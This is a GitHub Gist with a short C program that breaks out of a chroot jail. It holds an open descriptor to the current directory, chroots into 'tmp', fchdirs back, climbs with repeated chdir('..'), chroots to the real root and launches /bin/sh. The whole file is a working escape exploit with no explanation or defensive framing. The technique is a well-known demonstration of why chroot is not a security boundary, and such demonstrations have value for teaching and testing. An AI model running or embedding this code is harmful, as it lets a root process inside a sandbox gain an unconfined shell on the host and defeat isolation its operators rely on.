Created
December 28, 2011 22:19
-
-
Save farhaven/1530091 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <errno.h> | |
#define UP_LIMIT 100 | |
#ifndef O_DIRECTORY | |
# define O_DIRECTORY 0 | |
#endif | |
int | |
main(void) { | |
int i; | |
char *argv[] = { NULL, "escape", NULL }; | |
char *envp[] = { NULL }; | |
int fd = open(".", O_DIRECTORY, 0); | |
if (fd < 0) { | |
printf("opening '.' failed: %s\n", strerror(errno)); | |
exit(1); | |
} | |
puts("chrooting to /tmp"); | |
chroot("tmp"); | |
puts("changing back to original root"); | |
if (fchdir(fd)) { | |
printf("failed: %s\n", strerror(errno)); | |
exit(1); | |
} | |
puts("escaping..."); | |
for(i = 0; i < UP_LIMIT; i++) | |
if(chdir("..")) { | |
printf("failed: %s\n", strerror(errno)); | |
exit(1); | |
} | |
puts("chrooting to ."); | |
chroot("."); | |
puts("starting shell /bin/sh..."); | |
if(execve("/bin/sh", argv, envp)) { | |
printf("failed: %s\n", strerror(errno)); | |
exit(1); | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment